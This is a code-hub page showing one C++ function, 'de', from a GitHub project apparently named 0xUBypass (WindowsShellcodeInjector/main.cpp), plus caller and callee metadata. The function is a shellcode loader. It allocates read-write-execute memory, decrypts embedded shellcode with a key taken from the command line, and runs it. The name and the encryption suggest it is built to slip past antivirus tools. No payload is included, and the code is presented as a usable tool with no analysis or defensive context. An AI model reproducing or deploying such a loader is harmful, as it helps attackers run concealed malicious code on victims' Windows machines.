MCPcopy Create free account
hub / github.com/Yeuoly/0xUBypass / de

Function de

WindowsShellcodeInjector/main.cpp:127–141  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

125}
126
127int de(int argc, char **argv) {
128 if (argc != 2) {
129 return 0;
130 }
131 string key = argv[1];
132
133 WindowsShellCodeInvoke invoker;
134 LPVOID shell_mem = invoker.VirtualAllocMemory(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
135 DecryptShell(shellcode.shellcode, shellcode.shellcode_size, (uint8_t *)shell_mem, shellcode.shellcode_real_size, key);
136
137 typedef void(*fptr)();
138 ((fptr)shell_mem)();
139
140 return 0;
141}
142
143int main(int argc, char **argv) {
144 if (shellcode.shellcode_size != 0) {

Callers 1

mainFunction · 0.85

Calls 1

VirtualAllocMemoryMethod · 0.80

Tested by

no test coverage detected